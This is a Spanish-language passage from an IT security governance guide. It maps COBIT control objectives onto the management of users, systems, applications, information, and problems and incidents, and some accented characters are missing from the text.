Debe garantizar que las informaciones relacionadas con la seguridad de la empresa se queden en la empresa.
Solo algunas personas por necesidades de gestin requieren acceder a estas informaciones. En la medida de lo
posible, proteja estas informaciones de la filtracin de datos.

2. La gestin de los usuarios

Los usuarios tienen demasiados permisos sin ser administradores de su equipo. Estos permisos son muchas veces
suficientes para realizar el trabajo, pero tambin para piratear a otro usuario de la red. Por lo tanto, es importante
no dar ms permisos que los que necesiten, para simplificar la gestin informtica. Dar a todos los usuarios
permisos para instalar una aplicacin y gestionar su PC puede parecer una buena manera de reducir costes de
gestin. Sin embargo, con la empresa menos protegida, el riesgo de un ataque aumenta y el riesgo de incidente
grave para el usuario tambin. Los costes indirectos de mantenimiento tambin tienen un impacto.

COBIT propone los objetivos de control siguientes para gestionar mejor los usuarios:

DS5.3 Gestin de identidades, que ya ha sido explicada en la gestin de los administradores.


DS5.4 Gestin de usuarios para la creacin, la modificacin y la eliminacin de una cuenta de usuario y
sus permisos. Estos procedimientos de gestin se aplican tambin a los administradores. Acurdese de
incluir un procedimiento de aprobacin de acceso con el nombre del propietario de la carpeta, de la
aplicacin o del sistema operativo. Dependiendo del acceso solicitado, acurdese de incluir el aspecto legal
y contractual a la solicitud de acceso o a la creacin de una cuenta.
DS7 Educar y entrenar los usuarios, cuyos objetivos de control dan informaciones acerca de la manera de
formar y sensibilizar los usuarios sobre la seguridad.

3. La gestin de los sistemas

Su SGSI debe incluir una gestin de los sistemas. Entendemos por sistemas los equipos y los servidores de la
empresa. Estos sistemas deben protegerse frente a alteraciones ilcitas o incidentes provocados desde el exterior,
pero tambin desde el interior de la empresa, ya sea a nivel de aplicaciones o a nivel fsico. Los equipos deben
actualizarse. No es raro ver equipos internos de la empresa actualizados automticamente mediante sistemas
como WSUS. Pero qu pasa con los sistemas externos? Muchas veces son menos actualizados aunque estn
mucho ms expuestos. Los servidores externos, sin embargo, estn bien protegidos de ataques directos gracias a
los cortafuegos y proxys inversos, pero qu pasa con los servidores internos? Y si el lobo est en el redil? No
olvide proteger, tcnicamente pero tambin a nivel de procedimientos, todos los puntos neurlgicos de su
infraestructura interna como si estuviesen expuestos al trfico externo.

Los objetivos de control de COBIT siguientes pueden servir a la gestin de sistemas:

DS5.9 Prevencin, deteccin y neutralizacin de programas malintencionados. Debe desplegar soluciones


de seguridad, como un antivirus, en todos los sistemas y actualizarlos.
DS5.8 Gestin de las claves de cifrado. Asegrese de que las claves privadas de los certificados se
almacenan en un sitio seguro. Tambin asegrese de que los certificados sean distribuidos de manera
fiable y solo para personas autorizadas. Tenga cuidado con que los usuarios no instalen certificados raz de
otras autoridades de certificacin no autorizadas.
DS5.5 Pruebas de seguridad, vigilancia y monitoreo. Ponga en marcha un sistema de deteccin de
problemas de seguridad para prevenir e identificar rpidamente un problema. Puede tambin realizar
pruebas de seguridad de sus sistemas con cierta frecuencia.
El procedimiento DS9 Administrar la configuracin hace referencia a los objetivos de control que es preciso
poner en marcha para la gestin, el seguimiento y el mantenimiento de los sistemas:

DS9.1 Gua de configuracin base


DS9.2 Identificacin y mantenimiento de los elementos de configuracin
DS9.3 Repasar la integridad de las configuraciones

El procedimiento DS12 Administrar el entorno fsico contiene los objetivos de control para la seguridad fsica:

DS12.1 Seleccin del sitio y su distribucin


DS12.2 Medidas de seguridad fsicas
DS12.3 Acceso fsico
DS12.4 Proteccin con los riesgos ligados al entorno
DS12.5 Administracin de las instalaciones materiales

Los objetivos de control DS12.2 Medidas de seguridad fsicas y DS12.3 Acceso fsico incluyen la proteccin de
los servidores de una intrusin fsica. La insercin de una llave USB o de un CD para arrancar un programa
infectado o tambin aadir un router inalmbrico en un switch dedicado al servidor apunta a la seguridad fsica.
Tenga cuidado de garantizar un acceso restringido a las instalaciones importantes.

Un ltimo procedimiento interesante para la gestin de los sistemas, el procedimiento AI3 Adquirir y mantener la
infraestructura tecnolgica, propone objetivos de control para la adquisicin y el mantenimiento de los sistemas:

AI3.1 Plan de adquisicin de una infraestructura tcnica


AI3.2 Proteccin y disponibilidad de los recursos de la infraestructura
AI3.3 Mantenimiento de la infraestructura
AI3.4 Entorno de pruebas de viabilidad

Los objetivos AI3.2 Proteccin y disponibilidad de los recursos de la infraestructura y AI3.3 Mantenimiento de
la infraestructura proponen la puesta en marcha de controles internos de seguridad en la implantacin, el
despliegue y el mantenimiento de un sistema. Cree una estrategia y un plan de mantenimiento de los sistemas
asegurando la actualizacin de estos de acuerdo con las pruebas de vulnerabilidad y sus exigencias de seguridad.
Gestione y controle las modificaciones, y pruebe las actualizaciones antes de aplicarlas.

4. La gestin de las aplicaciones

Al elegir una aplicacin o un sistema, es importante que estos estn protegidos, pero tambin que estn alineados
con los objetivos de negocio. Las tecnologas evolucionan sin parar. Las necesidades de los usuarios pueden
cambiar o evolucionar. Una aplicacin con un almacenamiento y una comunicacin seguros pueden ser vulnerables
en la interfaz de uno de sus mdulos. Es muy importante medir la vulnerabilidad, probar y validar cada
componente de una aplicacin. Todos estos parmetros deben tomarse en cuenta.

Es interesante poner en marcha el procedimiento COBIT PO3 Determinar la direccin tecnolgica para la
gestin de las aplicaciones:

PO3.1 Planificacin de la direccin tecnolgica


PO3.2 Plan de infraestructura tecnolgica
PO3.3 Monitorizacin de la evolucin de tendencias y de la reglamentacin
PO3.4 Estndares informticos
PO3.5 Comit de arquitectura tecnolgica

El objetivo de control PO3.1 Planificacin de la direccin tecnolgica preconiza una anlisis de tecnologas
existentes y emergentes con el fin de decidir la direccin que se debe tomar. Se trata de escoger la tecnologa que
mejor se adapte a los objetivos minimizando los riesgos de equivocacin.

El procedimiento AI2 Adquirir y mantener el software aplicativo da objetivos de control para elegir y mantener
una aplicacin:

AI2.1 Concepcin general


AI2.2 Concepcin detallada
AI2.3 Control aplicativo y auditable
AI2.4 Seguridad y disponibilidad de las aplicaciones
AI2.5 Configuracin e implantacin de los programas aplicativos adquiridos
AI2.6 Actualizacin de seguridad de los sistemas existentes
AI2.7 Desarrollo de aplicaciones
AI2.8 Asegurar la calidad de los programas
AI2.9 Gestin de las exigencias de las aplicaciones
AI2.10 Mantenimiento de aplicaciones

El objetivo de control AI2.2 Concepcin detallada pide los detalles de las especificaciones tcnicas de una
aplicacin. Este detalle permite observar y auditar la aplicacin para medir la vulnerabilidad. El objetivo AI2.4
Seguridad y disponibilidad de las aplicaciones solicita que la aplicacin responda a las exigencias de seguridad y
disponibilidad. El objetivo de control AI2.5 Configuracin e implantacin de los programas aplicativos adquiridos
propone instalar el programa dependiendo de las necesidades de las funciones de los empleados, pero piense en
hacerlo respetando las reglas de seguridad y las buenas prcticas dadas por el proveedor. El objetivo AI2.6
Actualizacin de seguridad de los sistemas existentes insiste en la actualizacin de las aplicaciones, as como en
probarlas. La seguridad debe ser parte integrada a las exigencias al desarrollar aplicaciones internas. Aada esto
a la creacin de los objetivos de control AI2.7 Desarrollo de aplicaciones y AI2.9 Gestin de las exigencias de
las aplicaciones.

Los objetivos de control del procedimiento DS5 Garantizar la seguridad de los sistemas pueden considerarse
dependiendo del tipo de aplicacin instalada. Las aplicaciones importantes para el trabajo diario deben cumplir los
objetivos del procedimiento DS4 Garantizar la continuidad del servicio.

5. La gestin de la informacin

El objetivo de control de COBIT DS5.3 Gestin de identidades ya explicado en la gestin de los administradores
y la gestin de los usuarios debe dar las claves para el acceso a los recursos. Sin embargo, definir nicamente
quin accede a un recurso no basta para gestionar de forma correcta la informacin. Debe clasificarla y estar
seguro de su integridad. Los objetivos de control del procedimiento PO2 Definir la arquitectura de la
informacin proponen crear los siguientes puntos:
PO1.1 Modelo de arquitectura de la informacin de la empresa
PO2.2 Diccionario y reglas de sintaxis de los datos de la empresa
PO2.3 Sistema de clasificacin de los datos
PO2.4 Gestin de la integridad

El objetivo de control PO2.3 Sistema de clasificacin de los datos le propone clasificar sus datos, por ejemplo
como crtico, confidencial o pblico. Esta clasificacin le permitir poner el foco en las informaciones que se deben
proteger de forma prioritaria y le facilitar la tarea para decidir los accesos a los recursos. El objetivo de control
PO2.4 Gestin de la integridad pone el foco en los procedimientos que permiten garantizar la integridad y la
coherencia de los datos.

6. La gestin de los problemas y de los incidentes

El procedimiento AI4 Facilitar la operacin y el uso contiene objetivos de control ligados a la gestin de
problemas e incidentes. Los objetivos de control AI4.2 Transferencia de conocimientos a los empleados, AI4.3
Transferencia de conocimientos a los usuarios finales y AI4.4 Transferencia de conocimientos a los equipos de
explotacin y de soporte son importantes. Se trata de transmitir informaciones tiles a las personas implicadas.
Por ejemplo, el personal de soporte debe tener acceso a las informaciones necesarias para gestionar un problema
clsico de un usuario en una aplicacin o un sistema especfico.

Para saber si un incidente es prioritario con respecto a otro, es interesante definir el nivel de servicio y dar una
respuesta ms rpida al servicio prioritario. DS1 Definir y administrar los niveles de servicio da los objetivos de
control siguientes:

DS1.1 Gua para la gestin de los niveles de servicio


DS1.2 Definicin de los servicios
DS1.3 Contratos o convenciones de servicio
DS1.4 Contratos de explotacin
DS1.5 Monitoreo e informes de los niveles de servicios alcanzados
DS1.6 Revisin de las convenciones de servicio y de los contratos

El objetivo de control DS1.2 Definicin de los servicios, as como DS1.3 Contratos o convenciones de
servicio, definen la creacin de un portfolio de servicios centralizados. Debe crear un contrato de servicio para
los servicios importantes alineados con las necesidades de los roles existentes en la empresa. Este contrato cubre
la fiabilidad, la calidad, la disponibilidad y el nivel de asistencia del servicio.

Cuando servicios importantes dependen de proveedores externos, el procedimiento DS2 Administrar los servicios
de terceros aporta objetivos de control que proponen exigencias interesantes.

El procedimiento DS4 garantizar la continuidad del servicio forma parte de la gestin de incidentes. Permite
definir cmo volver a una situacin normal despus de un incidente. Piense en poner en marcha los objetivos de
control siguientes:

DS4.1 Gua de continuidad de los SI


DS4.2 Planes de continuidad de los SI
DS4.3 Recursos informticos crticos
DS4.4 Mantenimiento del plan de continuidad de los SI
DS4.5 Prueba del plan de continuidad de los SI
DS4.6 Formacin para el plan de continuidad de los SI
DS4.7 Difusin del plan de continuidad de los SI
DS4.8 Recuperacin y arranque de los servicios informticos
DS4.9 Copias de seguridad externas
DS4.10 Revisin despus del reinicio del servicio

Para evitar un cierto nmero de demandas y para responder eficazmente a los incidentes, debe formar a los
usuarios y las personas de soporte. El procedimiento DS7 Educar y entrenar a los usuarios contiene los
objetivos de control siguientes:

DS7.1 Identificacin de las necesidades de conocimiento y formacin


DS7.2 Realizacin de la formacin
DS7.3 Evaluacin de la formacin recibida

Las exigencias ligadas a estos objetivos son interesantes para disear una formacin adaptada y pertinente.

Para finalizar, el procedimiento DS10 Administrar los problemas propone los objetivos de control siguientes:

DS10.1 Identificacin y clasificacin de los problemas


DS10.2 Seguimiento y resolucin de problemas
DS10.3 Clausura de problemas
DS 10.4 Integracin de la gestin de la configuracin, de incidentes y problemas

El objetivo DS10.1 Identificacin y clasificacin de los problemas indica que debe existir un sistema de
clasificacin. Este sistema debe diferenciar un problema de un incidente, y otorgar una importancia, una urgencia
y una prioridad. Los problemas deben organizarse por categora o por servicio, como hardware, software,
etc.

Las exigencias de DS10.2 Seguimiento y resolucin de problemas piden que la herramienta permita el
seguimiento y el anlisis de los problemas, determinar las causas iniciales y poder encontrar y usar soluciones
viables que respondan a las causas iniciales. Los responsables deben estar informados regularmente de la
evolucin. Las consecuencias en el negocio deben ser monitorizadas constantemente. Si un problema es grave,
debe escalar a la direccin de la empresa o a un responsable. La resolucin de problemas debe estar alineada con
los contratos de servicio definidos.

También podría gustarte